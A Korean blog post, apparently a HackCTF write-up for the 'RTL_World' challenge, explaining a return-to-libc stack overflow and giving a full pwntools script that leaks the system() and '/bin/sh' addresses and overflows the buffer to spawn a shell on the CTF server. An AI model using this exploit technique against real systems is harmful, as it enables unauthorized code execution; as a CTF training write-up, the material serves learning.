본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (RTL_World)

 

RTL_World 파일의 코드는 다음과 같다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold… :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero… Bye…");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

굉장히 복잡해 보이지만, 핵심만 짚어보도록 한다. 먼저, v6 = dlsym(handle, "system")은, system함수의 위치를 v6에 저장한다는 의미가 된다. 즉, ret에 v6의 주소를 덮으면 system 함수가 실행되고, 인자로 /bin/sh를 넘기면 쉘을 실행시킬 수 있다. 또, 입력을 받는 함수로 case 5: 내에 read 함수가 존재하므로, 해당 함수를 이용해 오버플로우를 일으키면 될 듯 하다. 

친절하게도, /bin/sh를 찾는 코드도 주어져 있다.

for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )

system 함수의 내부에는 /bin/sh라는 문자열이 저장되어 있는데, 이를 찾기 위해 system의 시작 주소인 v6부터 1씩 증가시키며 s1을 /bin/sh 문자열의 위치에 두도록 하는 코드이다.

 

페이로드는 다음과 같을 것이다.

ret 이전까지의 더미 + system 함수 주소(v6) + 4바이트 더미 + "/bin/sh" (s1)

위와 같이 구성되는 이유는, 보통은 함수를 호출할 때 인자를 push하고 해당 함수를 호출하기 때문에, system 함수를 호출하는 당시에 push되어있는 "/bin/sh"를 인자로서 사용하기 위함이다.

 

그렇다면 v6와 s1의 주소를 알아야 하는데, 코드를 자세히 보면 v6과 s1의 주소를 알려주는 부분이 존재한다.

 

case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold… :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }

 

골드가 2000원 이상일 때 3을 입력하면 v6의 주소를, 골드가 3000원 이상일 때 4를 입력하면 s1의 주소를 출력해준다. 골드를 모아 각각을 실행 해서 주소 값을 변수에 저장해둔 뒤에 5를 입력하고 read 함수를 통해 공격하면 된다. 페이로드는 다음과 같다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3010)

while True: #to earn 5000G for Armor + Sword
    r.recvuntil('>>> ')
    r.sendline('2')
    r.recvuntil('>>> ')
    r.sendline('2')
    r.recvuntil('Your Gold is ')
    money = int(r.recv(4), 10)

    if money >= 5000:
        break

r.recvuntil('>>> ')
r.sendline('3')
r.recvuntil(': ')
system_addr = int(r.recv(10), 16) #get system address

r.recvuntil('>>> ')
r.sendline('4')
r.recvuntil(': ')
shell_addr = int(r.recv(10), 16) #get "/bin/sh" address

payload = "\x90" * 0x90 # buf (0x8c bytes) + sfp (0x4 bytes) 
payload += p32(system_addr)
payload += "\x90" * 4
payload += p32(shell_addr)

r.recvuntil('>>> ')
r.sendline('5')
r.recvuntil('[Attack] > ')
r.sendline(payload)
r.interactive()

 

 

 

'Pwnable > HackCTF' 카테고리의 다른 글

[ProjectH4C] HackCTF (poet)  (0) 2020.09.27
[ProjectH4C] HackCTF (g++ pwn)  (0) 2020.09.27
[ProjectH4C] HackCTF (BOF_PIE)  (0) 2020.09.18
[ProjectH4C] HackCTF (Offset)  (0) 2020.09.18
[ProjectH4C] HackCTF (Simple_Overflow_ver_2)  (0) 2020.09.17